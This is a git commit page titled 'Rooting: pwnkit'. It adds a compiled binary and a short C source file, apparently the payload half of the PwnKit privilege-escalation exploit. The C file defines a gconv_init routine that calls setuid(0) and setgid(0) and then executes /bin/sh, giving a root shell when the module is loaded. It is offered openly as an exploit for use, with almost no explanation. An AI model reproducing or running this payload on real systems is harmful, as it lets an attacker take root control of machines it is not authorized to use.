Rooting: pwnkit
This commit is contained in:
parent
b72f9ac891
commit
282a1feaf0
BIN
rooting/compile/pwnkit
Executable file
BIN
rooting/compile/pwnkit
Executable file
Binary file not shown.
20
rooting/pwnkit.c
Normal file
20
rooting/pwnkit.c
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void gconv(void) { }
|
||||||
|
|
||||||
|
void gconv_init(void *step) {
|
||||||
|
char * const args[] = { "/bin/sh", NULL };
|
||||||
|
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
|
||||||
|
setuid(0);
|
||||||
|
setgid(0);
|
||||||
|
execve(args[0], args, environ);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
printf("Exploit executed!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
Loading…
Reference in New Issue
Block a user